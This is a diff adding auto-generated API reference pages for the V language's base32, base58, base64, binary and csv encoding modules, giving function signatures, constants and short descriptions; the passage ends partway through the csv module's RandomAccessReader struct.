+## new_encoding
+```v
+fn new_encoding(alphabet []u8) Encoding
+```
+
+new_encoding returns a Base32 `Encoding` with standard `alphabet`s and standard padding.
+
+[[Return to contents]](#Contents)
+
+## new_encoding_with_padding
+```v
+fn new_encoding_with_padding(alphabet []u8, padding_char u8) Encoding
+```
+
+new_encoding_with_padding returns a Base32 `Encoding` with specified encoding `alphabet`s and a specified `padding_char`. The `padding_char` must not be '\r' or '\n', must not be contained in the `Encoding`'s alphabet and must be a rune equal or below '\xff'.
+
+[[Return to contents]](#Contents)
+
+## new_std_encoding
+```v
+fn new_std_encoding() Encoding
+```
+
+new_std_encoding creates a standard Base32 `Encoding` as defined in RFC 4648.
+
+[[Return to contents]](#Contents)
+
+## new_std_encoding_with_padding
+```v
+fn new_std_encoding_with_padding(padding u8) Encoding
+```
+
+new_std_encoding creates a standard Base32 `Encoding` identical to `new_std_encoding` but with a specified character `padding`, or `no_padding` to disable padding. The `padding` character must not be '\r' or '\n', must not be contained in the `Encoding`'s alphabet and must be a rune equal or below '\xff'.
+
+[[Return to contents]](#Contents)
+
+## Encoding
+## encode_to_string
+```v
+fn (enc &Encoding) encode_to_string(src []u8) string
+```
+
+encode_to_string encodes the Base32 encoding of `src` with the encoding `enc` and returns the encoded bytes as a V string.
+
+[[Return to contents]](#Contents)
+
+## encode_string_to_string
+```v
+fn (enc &Encoding) encode_string_to_string(src string) string
+```
+
+encode_string_to_string encodes a V string `src` using Base32 with the encoding `enc` and returns the encoded bytes as a V string.
+
+[[Return to contents]](#Contents)
+
+## decode_string
+```v
+fn (enc &Encoding) decode_string(src string) ![]u8
+```
+
+decode_string decodes a V string `src` using Base32 with the encoding `enc` and returns the decoded bytes or a `corrupt_input_error_msg` error.
+
+[[Return to contents]](#Contents)
+
+## decode_string_to_string
+```v
+fn (enc &Encoding) decode_string_to_string(src string) !string
+```
+
+decode_string_to_string decodes a V string `src` using Base32 with the encoding `enc` and returns the decoded V string or a `corrupt_input_error_msg` error.
+
+[[Return to contents]](#Contents)
+
+## decode
+```v
+fn (enc &Encoding) decode(src []u8) ![]u8
+```
+
+decode decodes `src` using the encoding `enc`. It returns the decoded bytes written or a `corrupt_input_error_msg` error. New line characters (\r and \n) are ignored.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/base58.md

@@ -0,0 +1,186 @@
+# module base58
+
+
+## Contents
+- [Constants](#Constants)
+- [decode](#decode)
+- [decode_bytes](#decode_bytes)
+- [decode_int](#decode_int)
+- [decode_int_walpha](#decode_int_walpha)
+- [decode_walpha](#decode_walpha)
+- [decode_walpha_bytes](#decode_walpha_bytes)
+- [encode](#encode)
+- [encode_bytes](#encode_bytes)
+- [encode_int](#encode_int)
+- [encode_int_walpha](#encode_int_walpha)
+- [encode_walpha](#encode_walpha)
+- [encode_walpha_bytes](#encode_walpha_bytes)
+- [new_alphabet](#new_alphabet)
+- [Alphabet](#Alphabet)
+  - [str](#str)
+
+## Constants
+```v
+const btc_alphabet = new_alphabet('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz') or {
+	panic(impossible)
+}
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const flickr_alphabet = new_alphabet('123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ') or {
+	panic(impossible)
+}
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const ripple_alphabet = new_alphabet('rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz') or {
+	panic(impossible)
+}
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const alphabets = {
+	'btc':    btc_alphabet
+	'flickr': flickr_alphabet
+	'ripple': ripple_alphabet
+}
+```
+
+alphabets is a map of common base58 alphabets:
+
+[[Return to contents]](#Contents)
+
+## decode
+```v
+fn decode(str string) !string
+```
+
+decode decodes the base58 input string, using the Bitcoin alphabet
+
+[[Return to contents]](#Contents)
+
+## decode_bytes
+```v
+fn decode_bytes(input []u8) ![]u8
+```
+
+decode_bytes decodes the base58 encoded input array, using the Bitcoin alphabet
+
+[[Return to contents]](#Contents)
+
+## decode_int
+```v
+fn decode_int(input string) !int
+```
+
+decode_int decodes base58 string to an integer with Bitcoin alphabet
+
+[[Return to contents]](#Contents)
+
+## decode_int_walpha
+```v
+fn decode_int_walpha(input string, alphabet Alphabet) !int
+```
+
+decode_int_walpha decodes base58 string to an integer with custom alphabet
+
+[[Return to contents]](#Contents)
+
+## decode_walpha
+```v
+fn decode_walpha(input string, alphabet Alphabet) !string
+```
+
+decode_walpha decodes the base58 encoded input string, using custom alphabet
+
+[[Return to contents]](#Contents)
+
+## decode_walpha_bytes
+```v
+fn decode_walpha_bytes(input []u8, alphabet Alphabet) ![]u8
+```
+
+decode_walpha_bytes decodes the base58 encoded input array using a custom alphabet
+
+[[Return to contents]](#Contents)
+
+## encode
+```v
+fn encode(input string) string
+```
+
+encode encodes the input string to base58 with the Bitcoin alphabet
+
+[[Return to contents]](#Contents)
+
+## encode_bytes
+```v
+fn encode_bytes(input []u8) []u8
+```
+
+encode_bytes encodes the input array to base58, with the Bitcoin alphabet
+
+[[Return to contents]](#Contents)
+
+## encode_int
+```v
+fn encode_int(input int) !string
+```
+
+encode_int encodes any integer type to base58 string with Bitcoin alphabet
+
+[[Return to contents]](#Contents)
+
+## encode_int_walpha
+```v
+fn encode_int_walpha(input int, alphabet Alphabet) !string
+```
+
+encode_int_walpha any integer type to base58 string with custom alphabet
+
+[[Return to contents]](#Contents)
+
+## encode_walpha
+```v
+fn encode_walpha(input string, alphabet Alphabet) string
+```
+
+encode_walpha encodes the input string to base58 with a custom aplhabet
+
+[[Return to contents]](#Contents)
+
+## encode_walpha_bytes
+```v
+fn encode_walpha_bytes(input []u8, alphabet Alphabet) []u8
+```
+
+encode_walpha encodes the input array to base58 with a custom aplhabet
+
+[[Return to contents]](#Contents)
+
+## new_alphabet
+```v
+fn new_alphabet(str string) !Alphabet
+```
+
+new_alphabet instantiates an Alphabet object based on the provided characters
+
+[[Return to contents]](#Contents)
+
+## Alphabet
+## str
+```v
+fn (alphabet Alphabet) str() string
+```
+
+str returns an Alphabet encode table byte array as a string
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/base64.md

@@ -0,0 +1,130 @@
+# module base64
+
+
+## Contents
+- [decode](#decode)
+- [decode_in_buffer](#decode_in_buffer)
+- [decode_in_buffer_bytes](#decode_in_buffer_bytes)
+- [decode_str](#decode_str)
+- [encode](#encode)
+- [encode_in_buffer](#encode_in_buffer)
+- [encode_str](#encode_str)
+- [url_decode](#url_decode)
+- [url_decode_str](#url_decode_str)
+- [url_encode](#url_encode)
+- [url_encode_str](#url_encode_str)
+
+## decode
+```v
+fn decode(data string) []u8
+```
+
+decode decodes the base64 encoded `string` value passed in `data`. Please note: If you need to decode many strings repeatedly, take a look at `decode_in_buffer`.
+
+Example
+```v
+
+assert base64.decode('ViBpbiBiYXNlIDY0') == 'V in base 64'.bytes()
+
+```
+
+[[Return to contents]](#Contents)
+
+## decode_in_buffer
+```v
+fn decode_in_buffer(data &string, buffer &u8) int
+```
+
+decode_in_buffer decodes the base64 encoded `string` reference passed in `data` into `buffer`. decode_in_buffer returns the size of the decoded data in the buffer. Please note: The `buffer` should be large enough (i.e. 3/4 of the data.len, or larger) to hold the decoded data. Please note: This function does NOT allocate new memory, and is thus suitable for handling very large strings.
+
+[[Return to contents]](#Contents)
+
+## decode_in_buffer_bytes
+```v
+fn decode_in_buffer_bytes(data []u8, buffer &u8) int
+```
+
+decode_from_buffer decodes the base64 encoded ASCII bytes from `data` into `buffer`. decode_from_buffer returns the size of the decoded data in the buffer. Please note: The `buffer` should be large enough (i.e. 3/4 of the data.len, or larger) to hold the decoded data. Please note: This function does NOT allocate new memory, and is thus suitable for handling very large strings.
+
+[[Return to contents]](#Contents)
+
+## decode_str
+```v
+fn decode_str(data string) string
+```
+
+decode_str is the string variant of decode
+
+[[Return to contents]](#Contents)
+
+## encode
+```v
+fn encode(data []u8) string
+```
+
+encode encodes the `[]u8` value passed in `data` to base64. Please note: base64 encoding returns a `string` that is ~ 4/3 larger than the input. Please note: If you need to encode many strings repeatedly, take a look at `encode_in_buffer`.
+
+Example
+```v
+
+assert base64.encode('V in base 64'.bytes()) == 'ViBpbiBiYXNlIDY0'
+
+```
+
+[[Return to contents]](#Contents)
+
+## encode_in_buffer
+```v
+fn encode_in_buffer(data []u8, buffer &u8) int
+```
+
+encode_in_buffer base64 encodes the `[]u8` passed in `data` into `buffer`. encode_in_buffer returns the size of the encoded data in the buffer. Please note: The buffer should be large enough (i.e. 4/3 of the data.len, or larger) to hold the encoded data. Please note: The function does NOT allocate new memory, and is suitable for handling very large strings.
+
+[[Return to contents]](#Contents)
+
+## encode_str
+```v
+fn encode_str(data string) string
+```
+
+encode_str is the string variant of encode
+
+[[Return to contents]](#Contents)
+
+## url_decode
+```v
+fn url_decode(data string) []u8
+```
+
+url_decode returns a decoded URL `string` version of the a base64 url encoded `string` passed in `data`.
+
+[[Return to contents]](#Contents)
+
+## url_decode_str
+```v
+fn url_decode_str(data string) string
+```
+
+url_decode_str is the string variant of url_decode
+
+[[Return to contents]](#Contents)
+
+## url_encode
+```v
+fn url_encode(data []u8) string
+```
+
+url_encode returns a base64 URL encoded `string` version of the value passed in `data`.
+
+[[Return to contents]](#Contents)
+
+## url_encode_str
+```v
+fn url_encode_str(data string) string
+```
+
+url_encode_str is the string variant of url_encode
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/binary.md

@@ -0,0 +1,598 @@
+# module binary
+
+
+## Contents
+- [big_endian_get_u16](#big_endian_get_u16)
+- [big_endian_get_u32](#big_endian_get_u32)
+- [big_endian_get_u64](#big_endian_get_u64)
+- [big_endian_put_u16](#big_endian_put_u16)
+- [big_endian_put_u16_at](#big_endian_put_u16_at)
+- [big_endian_put_u16_end](#big_endian_put_u16_end)
+- [big_endian_put_u16_fixed](#big_endian_put_u16_fixed)
+- [big_endian_put_u32](#big_endian_put_u32)
+- [big_endian_put_u32_at](#big_endian_put_u32_at)
+- [big_endian_put_u32_end](#big_endian_put_u32_end)
+- [big_endian_put_u32_fixed](#big_endian_put_u32_fixed)
+- [big_endian_put_u64](#big_endian_put_u64)
+- [big_endian_put_u64_at](#big_endian_put_u64_at)
+- [big_endian_put_u64_end](#big_endian_put_u64_end)
+- [big_endian_put_u64_fixed](#big_endian_put_u64_fixed)
+- [big_endian_u16](#big_endian_u16)
+- [big_endian_u16_at](#big_endian_u16_at)
+- [big_endian_u16_end](#big_endian_u16_end)
+- [big_endian_u16_fixed](#big_endian_u16_fixed)
+- [big_endian_u32](#big_endian_u32)
+- [big_endian_u32_at](#big_endian_u32_at)
+- [big_endian_u32_end](#big_endian_u32_end)
+- [big_endian_u32_fixed](#big_endian_u32_fixed)
+- [big_endian_u64](#big_endian_u64)
+- [big_endian_u64_at](#big_endian_u64_at)
+- [big_endian_u64_end](#big_endian_u64_end)
+- [big_endian_u64_fixed](#big_endian_u64_fixed)
+- [decode_binary](#decode_binary)
+- [encode_binary](#encode_binary)
+- [little_endian_f32_at](#little_endian_f32_at)
+- [little_endian_get_u16](#little_endian_get_u16)
+- [little_endian_get_u32](#little_endian_get_u32)
+- [little_endian_get_u64](#little_endian_get_u64)
+- [little_endian_put_u16](#little_endian_put_u16)
+- [little_endian_put_u16_at](#little_endian_put_u16_at)
+- [little_endian_put_u16_end](#little_endian_put_u16_end)
+- [little_endian_put_u16_fixed](#little_endian_put_u16_fixed)
+- [little_endian_put_u32](#little_endian_put_u32)
+- [little_endian_put_u32_at](#little_endian_put_u32_at)
+- [little_endian_put_u32_end](#little_endian_put_u32_end)
+- [little_endian_put_u32_fixed](#little_endian_put_u32_fixed)
+- [little_endian_put_u64](#little_endian_put_u64)
+- [little_endian_put_u64_at](#little_endian_put_u64_at)
+- [little_endian_put_u64_end](#little_endian_put_u64_end)
+- [little_endian_put_u64_fixed](#little_endian_put_u64_fixed)
+- [little_endian_u16](#little_endian_u16)
+- [little_endian_u16_at](#little_endian_u16_at)
+- [little_endian_u16_end](#little_endian_u16_end)
+- [little_endian_u16_fixed](#little_endian_u16_fixed)
+- [little_endian_u32](#little_endian_u32)
+- [little_endian_u32_at](#little_endian_u32_at)
+- [little_endian_u32_end](#little_endian_u32_end)
+- [little_endian_u32_fixed](#little_endian_u32_fixed)
+- [little_endian_u64](#little_endian_u64)
+- [little_endian_u64_at](#little_endian_u64_at)
+- [little_endian_u64_end](#little_endian_u64_end)
+- [little_endian_u64_fixed](#little_endian_u64_fixed)
+- [DecodeConfig](#DecodeConfig)
+- [EncodeConfig](#EncodeConfig)
+
+## big_endian_get_u16
+```v
+fn big_endian_get_u16(v u16) []u8
+```
+
+big_endian_get_u16 creates u8 array from the unsigned 16-bit integer v in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_get_u32
+```v
+fn big_endian_get_u32(v u32) []u8
+```
+
+big_endian_get_u32 creates u8 array from the unsigned 32-bit integer v in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_get_u64
+```v
+fn big_endian_get_u64(v u64) []u8
+```
+
+big_endian_get_u64 creates u8 array from the unsigned 64-bit integer v in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u16
+```v
+fn big_endian_put_u16(mut b []u8, v u16)
+```
+
+big_endian_put_u16 writes a u16 to the first two bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u16_at
+```v
+fn big_endian_put_u16_at(mut b []u8, v u16, o int)
+```
+
+big_endian_put_u16_at writes a u16 to the two bytes in the array b at the specified offset in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u16_end
+```v
+fn big_endian_put_u16_end(mut b []u8, v u16)
+```
+
+big_endian_put_u16_end writes a u16 to the last two bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u16_fixed
+```v
+fn big_endian_put_u16_fixed(mut b [2]u8, v u16)
+```
+
+big_endian_put_u16_fixed writes a u16 to the fixed array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u32
+```v
+fn big_endian_put_u32(mut b []u8, v u32)
+```
+
+big_endian_put_u32 writes a u32 to the first four bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u32_at
+```v
+fn big_endian_put_u32_at(mut b []u8, v u32, o int)
+```
+
+big_endian_put_u32_at writes a u32 to four bytes in the array b at the specified offset in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u32_end
+```v
+fn big_endian_put_u32_end(mut b []u8, v u32)
+```
+
+big_endian_put_u32_end writes a u32 to the last four bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u32_fixed
+```v
+fn big_endian_put_u32_fixed(mut b [4]u8, v u32)
+```
+
+big_endian_put_u32_fixed writes a u32 to the fixed array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u64
+```v
+fn big_endian_put_u64(mut b []u8, v u64)
+```
+
+big_endian_put_u64 writes a u64 to the first eight bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u64_at
+```v
+fn big_endian_put_u64_at(mut b []u8, v u64, o int)
+```
+
+big_endian_put_u64_at writes a u64 to eight bytes in the array b at the specified offset in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u64_end
+```v
+fn big_endian_put_u64_end(mut b []u8, v u64)
+```
+
+big_endian_put_u64_end writes a u64 to the last eight bytes in the array b at the specified offset in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_put_u64_fixed
+```v
+fn big_endian_put_u64_fixed(mut b [8]u8, v u64)
+```
+
+big_endian_put_u64_fixed writes a u64 to the fixed array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u16
+```v
+fn big_endian_u16(b []u8) u16
+```
+
+big_endian_u16 creates a u16 from the first two bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u16_at
+```v
+fn big_endian_u16_at(b []u8, o int) u16
+```
+
+big_endian_u16_at creates a u16 from two bytes in the array b at the specified offset in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u16_end
+```v
+fn big_endian_u16_end(b []u8) u16
+```
+
+big_endian_u16_end creates a u16 from two bytes in the array b at the specified offset in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u16_fixed
+```v
+fn big_endian_u16_fixed(b [2]u8) u16
+```
+
+big_endian_u16_fixed creates a u16 from the first two bytes in the fixed array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u32
+```v
+fn big_endian_u32(b []u8) u32
+```
+
+big_endian_u32 creates a u32 from four bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u32_at
+```v
+fn big_endian_u32_at(b []u8, o int) u32
+```
+
+big_endian_u32_at creates a u32 from four bytes in the array b at the specified offset in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u32_end
+```v
+fn big_endian_u32_end(b []u8) u32
+```
+
+big_endian_u32_end creates a u32 from the last four bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u32_fixed
+```v
+fn big_endian_u32_fixed(b [4]u8) u32
+```
+
+big_endian_u32_fixed creates a u32 from four bytes in the fixed array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u64
+```v
+fn big_endian_u64(b []u8) u64
+```
+
+big_endian_u64 creates a u64 from the first eight bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u64_at
+```v
+fn big_endian_u64_at(b []u8, o int) u64
+```
+
+big_endian_u64_at creates a u64 from eight bytes in the array b at the specified offset in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u64_end
+```v
+fn big_endian_u64_end(b []u8) u64
+```
+
+big_endian_u64_end creates a u64 from the last eight bytes in the array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## big_endian_u64_fixed
+```v
+fn big_endian_u64_fixed(b [8]u8) u64
+```
+
+big_endian_u64_fixed creates a u64 from the fixed array b in big endian order.
+
+[[Return to contents]](#Contents)
+
+## decode_binary
+```v
+fn decode_binary[T](b []u8, config DecodeConfig) !T
+```
+
+decode_binary decode a u8 array into T type data. for decoding struct, you can use `@[serialize: '-']` to skip field.
+
+[[Return to contents]](#Contents)
+
+## encode_binary
+```v
+fn encode_binary[T](obj T, config EncodeConfig) ![]u8
+```
+
+encode_binary encode a T type data into u8 array. for encoding struct, you can use `@[serialize: '-']` to skip field.
+
+[[Return to contents]](#Contents)
+
+## little_endian_f32_at
+```v
+fn little_endian_f32_at(b []u8, o int) f32
+```
+
+[[Return to contents]](#Contents)
+
+## little_endian_get_u16
+```v
+fn little_endian_get_u16(v u16) []u8
+```
+
+little_endian_get_u16 creates u8 array from the unsigned 16-bit integer v in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_get_u32
+```v
+fn little_endian_get_u32(v u32) []u8
+```
+
+little_endian_get_u32 creates u8 array from the unsigned 32-bit integer v in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_get_u64
+```v
+fn little_endian_get_u64(v u64) []u8
+```
+
+little_endian_get_u64 creates u8 array from the unsigned 64-bit integer v in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u16
+```v
+fn little_endian_put_u16(mut b []u8, v u16)
+```
+
+little_endian_put_u16 writes a u16 to the first two bytes in the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u16_at
+```v
+fn little_endian_put_u16_at(mut b []u8, v u16, o int)
+```
+
+little_endian_put_u16_at writes a u16 to the two bytes in the array b at the specified offset in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u16_end
+```v
+fn little_endian_put_u16_end(mut b []u8, v u16)
+```
+
+little_endian_put_u16_end writes a u16 to the last two bytes of the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u16_fixed
+```v
+fn little_endian_put_u16_fixed(mut b [2]u8, v u16)
+```
+
+little_endian_put_u16_fixed writes a u16 to the fixed array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u32
+```v
+fn little_endian_put_u32(mut b []u8, v u32)
+```
+
+little_endian_put_u32 writes a u32 to the first four bytes in the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u32_at
+```v
+fn little_endian_put_u32_at(mut b []u8, v u32, o int)
+```
+
+little_endian_put_u32_at writes a u32 to the four bytes in the array b at the specified offset in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u32_end
+```v
+fn little_endian_put_u32_end(mut b []u8, v u32)
+```
+
+little_endian_put_u32_end writes a u32 to the last four bytes in the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u32_fixed
+```v
+fn little_endian_put_u32_fixed(mut b [4]u8, v u32)
+```
+
+little_endian_put_u32_fixed writes a u32 to the fixed array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u64
+```v
+fn little_endian_put_u64(mut b []u8, v u64)
+```
+
+little_endian_put_u64 writes a u64 to the first eight bytes in the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u64_at
+```v
+fn little_endian_put_u64_at(mut b []u8, v u64, o int)
+```
+
+little_endian_put_u64_at writes a u64 to the eight bytes in the array b at the specified offset in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u64_end
+```v
+fn little_endian_put_u64_end(mut b []u8, v u64)
+```
+
+little_endian_put_u64_end writes a u64 to the last eight bytes in the array b at in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_put_u64_fixed
+```v
+fn little_endian_put_u64_fixed(mut b [8]u8, v u64)
+```
+
+little_endian_put_u64_fixed writes a u64 to the fixed array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u16
+```v
+fn little_endian_u16(b []u8) u16
+```
+
+little_endian_u16 creates a u16 from the first two bytes in the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u16_at
+```v
+fn little_endian_u16_at(b []u8, o int) u16
+```
+
+little_endian_u16_at creates a u16 from two bytes in the array b at the specified offset in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u16_end
+```v
+fn little_endian_u16_end(b []u8) u16
+```
+
+little_endian_u16_end creates a u16 from the last two bytes of the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u16_fixed
+```v
+fn little_endian_u16_fixed(b [2]u8) u16
+```
+
+little_endian_u16_fixed creates a u16 from the fixed array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u32
+```v
+fn little_endian_u32(b []u8) u32
+```
+
+little_endian_u32 creates a u32 from the first four bytes in the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u32_at
+```v
+fn little_endian_u32_at(b []u8, o int) u32
+```
+
+little_endian_u32_at creates a u32 from four bytes in the array b at the specified offset in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u32_end
+```v
+fn little_endian_u32_end(b []u8) u32
+```
+
+little_endian_u32_end creates a u32 from the last four bytes in the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u32_fixed
+```v
+fn little_endian_u32_fixed(b [4]u8) u32
+```
+
+little_endian_u32_fixed creates a u32 from the fixed array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u64
+```v
+fn little_endian_u64(b []u8) u64
+```
+
+little_endian_u64 creates a u64 from the first eight bytes in the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u64_at
+```v
+fn little_endian_u64_at(b []u8, o int) u64
+```
+
+little_endian_u64_at creates a u64 from eight bytes in the array b at the specified offset in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u64_end
+```v
+fn little_endian_u64_end(b []u8) u64
+```
+
+little_endian_u64_end creates a u64 from the last eight bytes in the array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## little_endian_u64_fixed
+```v
+fn little_endian_u64_fixed(b [8]u8) u64
+```
+
+little_endian_u64_fixed creates a u64 from the fixed array b in little endian order.
+
+[[Return to contents]](#Contents)
+
+## DecodeConfig
+```v
+struct DecodeConfig {
+pub mut:
+	buffer_len int = 1024
+	big_endian bool // use big endian decode the data
+}
+```
+
+[[Return to contents]](#Contents)
+
+## EncodeConfig
+```v
+struct EncodeConfig {
+pub mut:
+	buffer_len int = 1024
+	big_endian bool // use big endian encoding the data
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:04

aiprompts/v_core/encoding/csv.md

@@ -0,0 +1,462 @@
+# module csv
+
+
+## Contents
+- [Constants](#Constants)
+- [csv_reader](#csv_reader)
+- [csv_reader_from_string](#csv_reader_from_string)
+- [csv_sequential_reader](#csv_sequential_reader)
+- [decode](#decode)
+- [new_reader](#new_reader)
+- [new_reader_from_file](#new_reader_from_file)
+- [new_writer](#new_writer)
+- [CellValue](#CellValue)
+- [Reader](#Reader)
+  - [read](#read)
+- [Writer](#Writer)
+  - [write](#write)
+  - [str](#str)
+- [ColumType](#ColumType)
+- [GetCellConfig](#GetCellConfig)
+- [GetHeaderConf](#GetHeaderConf)
+- [HeaderItem](#HeaderItem)
+- [RandomAccessReader](#RandomAccessReader)
+  - [dispose_csv_reader](#dispose_csv_reader)
+  - [copy_configuration](#copy_configuration)
+  - [map_csv](#map_csv)
+  - [get_row](#get_row)
+  - [get_cell](#get_cell)
+  - [get_cellt](#get_cellt)
+  - [build_header_dict](#build_header_dict)
+  - [rows_count](#rows_count)
+- [RandomAccessReaderConfig](#RandomAccessReaderConfig)
+- [ReaderConfig](#ReaderConfig)
+- [SequentialReader](#SequentialReader)
+  - [dispose_csv_reader](#dispose_csv_reader)
+  - [has_data](#has_data)
+  - [get_next_row](#get_next_row)
+- [SequentialReaderConfig](#SequentialReaderConfig)
+- [WriterConfig](#WriterConfig)
+
+## Constants
+```v
+const endline_cr_len = 1
+```
+
+endline lengths
+
+[[Return to contents]](#Contents)
+
+```v
+const endline_crlf_len = 2
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const ram_csv = 1
+```
+
+Type of read buffer
+
+[[Return to contents]](#Contents)
+
+```v
+const file_csv = 0
+```
+
+[[Return to contents]](#Contents)
+
+## csv_reader
+```v
+fn csv_reader(cfg RandomAccessReaderConfig) !&RandomAccessReader
+```
+
+csv_reader create a random access csv reader
+
+[[Return to contents]](#Contents)
+
+## csv_reader_from_string
+```v
+fn csv_reader_from_string(in_str string) !&RandomAccessReader
+```
+
+csv_reader_from_string create a csv reader from a string
+
+[[Return to contents]](#Contents)
+
+## csv_sequential_reader
+```v
+fn csv_sequential_reader(cfg SequentialReaderConfig) !&SequentialReader
+```
+
+csv_sequential_reader creates a sequential csv reader
+
+[[Return to contents]](#Contents)
+
+## decode
+```v
+fn decode[T](data string) []T
+```
+
+decode csv to struct
+
+[[Return to contents]](#Contents)
+
+## new_reader
+```v
+fn new_reader(data string, config ReaderConfig) &Reader
+```
+
+new_reader initializes a Reader with string data to parse and, optionally, a custom delimiter.
+
+[[Return to contents]](#Contents)
+
+## new_reader_from_file
+```v
+fn new_reader_from_file(csv_file_path string, config ReaderConfig) !&Reader
+```
+
+new_reader_from_file create a csv reader from a file
+
+[[Return to contents]](#Contents)
+
+## new_writer
+```v
+fn new_writer(config WriterConfig) &Writer
+```
+
+new_writer returns a reference to a Writer
+
+[[Return to contents]](#Contents)
+
+## CellValue
+```v
+type CellValue = f32 | int | string
+```
+
+[[Return to contents]](#Contents)
+
+## Reader
+## read
+```v
+fn (mut r Reader) read() ![]string
+```
+
+read reads a row from the CSV data. If successful, the result holds an array of each column's data.
+
+[[Return to contents]](#Contents)
+
+## Writer
+## write
+```v
+fn (mut w Writer) write(record []string) !bool
+```
+
+write writes a single record
+
+[[Return to contents]](#Contents)
+
+## str
+```v
+fn (mut w Writer) str() string
+```
+
+str returns the writer contents
+
+[[Return to contents]](#Contents)
+
+## ColumType
+```v
+enum ColumType {
+	string = 0
+	int    = 1
+	f32    = 2
+}
+```
+
+
+
+[[Return to contents]](#Contents)
+
+## GetCellConfig
+```v
+struct GetCellConfig {
+pub:
+	x int
+	y int
+}
+```
+
+[[Return to contents]](#Contents)
+
+## GetHeaderConf
+```v
+struct GetHeaderConf {
+pub:
+	header_row int // row where to inspect the header
+}
+```
+
+
+
+[[Return to contents]](#Contents)
+
+## HeaderItem
+```v
+struct HeaderItem {
+pub mut:
+	label  string
+	column int
+	htype  ColumType = .string
+}
+```
+
+[[Return to contents]](#Contents)
+
+## RandomAccessReader
+```v
+struct RandomAccessReader {
+pub mut:
+	index i64
+
+	f              os.File
+	f_len          i64
+	is_bom_present bool
+
+	start_index i64
+	end_index   i64 = -1
+
+	end_line      u8  = `\n`
+	end_line_len  int = endline_cr_len // size of the endline rune \n = 1, \r\n = 2
+	separator     u8  = `,`            // comma is the default separator
+	separator_len int = 1              // size of the separator rune
+	quote         u8  = `"`            // double quote is the standard quote char
+	quote_remove  bool // if true clear the cell from the quotes
+	comment       u8 = `#` // every line that start with the quote char is ignored
+
+	default_cell string = '*' // return this string if out of the csv boundaries
+	empty_cell   string = '#' // retunrn this if empty cell
+	// ram buffer
+	mem_buf_type  u32     // buffer type 0=File,1=RAM
+	mem_buf       voidptr // buffer used to load chars from file
